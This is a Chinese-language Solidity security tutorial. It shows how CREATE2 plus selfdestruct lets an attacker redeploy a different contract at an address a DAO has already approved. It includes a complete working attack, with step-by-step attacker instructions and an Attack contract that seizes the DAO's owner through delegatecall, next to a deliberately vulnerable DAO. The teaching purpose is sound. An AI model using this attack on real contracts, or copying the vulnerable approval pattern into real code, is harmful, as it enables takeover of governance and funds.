# 在同一个地址部署不同的合约

使用`create`函数部署合约，该合约的地址计算公式如下:

```
contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
```

这里，sender 是合约部署者的地址，nonce 是 sender 发送的交易数量。 因此，如果我们能够以某种方式重置 nonce，就有可能在同一地址部署不同的合约。 以下是一个展示去中心化自治组织（DAO）如何被攻击的例子。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
由Alice调用
0. 部署DAO

由攻击者调用
1. 部署DeployerDeployer
2. 调用DeployerDeployer.deploy()
3. 调用Deployer.deployProposal()

由Alice调用
4. 获取DAO对Proposal的批准

由攻击者调用
5. 删除Proposal和Deployer
6. 重新部署Deployer
7. 调用Deployer.deployAttack()
8. 调用DAO.execute
9. 检查DAO.owner是否为攻击者的地址

DAO -- 批准 --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Attack
*/

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");

        proposals.push(
            Proposal({target: target, approved: true, executed: false})
        );
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;

        (bool ok,) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("由DAO批准的代码被执行");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("未经DAO批准的代码被执行 :)");
        // 例如 - 将DAO的owner设置为攻击者
        owner = msg.sender;
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }

    function kill() external {
        selfdestruct(payable(address(0)));
    }
}
```

